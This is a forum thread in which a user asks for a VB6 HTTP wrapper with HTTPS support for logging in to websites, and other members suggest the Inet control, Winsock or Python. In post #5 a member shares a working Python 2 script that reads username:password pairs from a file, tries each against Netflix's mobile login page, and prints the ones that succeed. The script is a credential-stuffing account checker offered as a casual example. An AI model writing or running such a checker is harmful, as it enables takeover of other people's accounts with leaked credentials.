Results 1 to 6 of 6

Thread: [VB6] HTTP WRAPPER With Support For HTTPS

  1. #1

    Join Date
    Oct 2012
    Gender
    Posts
    1
    Thanks
    0
    Thanked 0 Times in 0 Posts


    Downloads
    1
    Uploads
    0
    Mentioned
    0 Post(s)
    Time Online
    N/A
    Avg. Time Online
    N/A
    Rep Power
    0

    [VB6] HTTP WRAPPER With Support For HTTPS

    Hi there,
    Does anyone know of any HTTP WRAPPER with support for HTTPS?
    I need this to login to some websites and use the API but I can't find anything that works with HTTPS.

    Anyone know of anything?

  2. #2


    Join Date
    Dec 2011
    Gender
    Posts
    79
    Thanks
    3
    Thanked 32 Times in 22 Posts


    Downloads
    30
    Uploads
    0
    Mentioned
    24 Post(s)
    Time Online
    18 d 20 h 37 m
    Avg. Time Online
    14 m
    Rep Power
    6
    you should be able to use the inet control.

  3. #3
    Little Brother


    Zachafer's Avatar
    Join Date
    Dec 2011
    Gender
    Posts
    1,206
    Thanks
    723
    Thanked 1,392 Times in 651 Posts


    Downloads
    81
    Uploads
    17
    Mentioned
    497 Post(s)
    Time Online
    21 d 17 h 32 m
    Avg. Time Online
    16 m
    Rep Power
    14
    You can use Winsock, I don't know if someone has written a wrapper for it in VB6.

  4. #4




    Join Date
    Dec 2011
    Gender
    Location
    rdisk(0)partition(1)
    Posts
    92
    Thanks
    161
    Thanked 172 Times in 63 Posts


    Downloads
    32
    Uploads
    3
    Mentioned
    87 Post(s)
    Time Online
    17 d 12 h 5 m
    Avg. Time Online
    13 m
    Rep Power
    6
    hm, wondering. why can't you use browser instead?
    and what API is that you wanna use?
    Last edited by damian002; 10-16-2012 at 06:45 AM.

  5. #5
    Banned
    Join Date
    Jun 2012
    Gender
    Location
    90 90
    Age
    31
    Posts
    1,714
    Thanks
    876
    Thanked 2,877 Times in 1,139 Posts


    Downloads
    44
    Uploads
    1
    Mentioned
    562 Post(s)
    Time Online
    118 d 6 h 45 m
    Avg. Time Online
    1 h 30 m
    Rep Power
    0
    Gamer IDs

    Gamertag: DarkByt3 PSN ID: raredaredevil
    https is a hassle can you not do it in python ? It supports http by default here is a simple netflix login I made with https:


    import urllib2, re, hashlib
    import socket
    from urllib import urlencode
    from cookielib import CookieJar
    import time
    import urllib

    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(C ookieJar()))





    def logintest(theusername,thepassword):
    #preload a game using all gsi urls


    finalhtml = opener.open('https://www2.netflix.com/Mobile/')
    strhtml1= finalhtml.read()




    postdata = urlencode({
    "email" : theusername,
    "submit" : "submit",

    "password1" : thepassword,
    'SubmitButton' : 'Click Here to Continue',
    'nextpage' : 'http://www2.netflix.com/Mobile',
    'RememberMe' : 'true',
    })
    finalhtml = opener.open('https://www2.netflix.com/Mobile/Login/', postdata)
    strhtml2= finalhtml.read()
    if strhtml2.find("The login information you entered does not match an account in our records.") <10 :
    print theusername , ":" , thepassword


    file = open("accs.txt")

    while 1:
    line = file.readline()
    if not line:
    break
    pass # do something
    lines = line.split(":")
    logintest(lines[0],lines[1])
    time.sleep(5)

  6. #6
    Saiyan Race





    Infamous Joe's Avatar
    Join Date
    Dec 2011
    Gender
    Location
    Hyperbolic Time Chamber
    Age
    26
    Posts
    9,751
    Thanks
    2,779
    Thanked 16,229 Times in 4,237 Posts


    Downloads
    23
    Uploads
    36
    Mentioned
    2985 Post(s)
    Time Online
    293 d 13 h 51 m
    Avg. Time Online
    3 h 44 m
    Rep Power
    10
    Gamer IDs

    Gamertag: Infam0us Joe Steam ID: infamousjoe
    It's not worth doing in VB6, tbh. Like Rare said, do it in Python or some other language being supported.

    Quote Originally Posted by Zachafer View Post
    You can use Winsock, I don't know if someone has written a wrapper for it in VB6.
    I thought Winsock couldn't handle HTTPS??

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •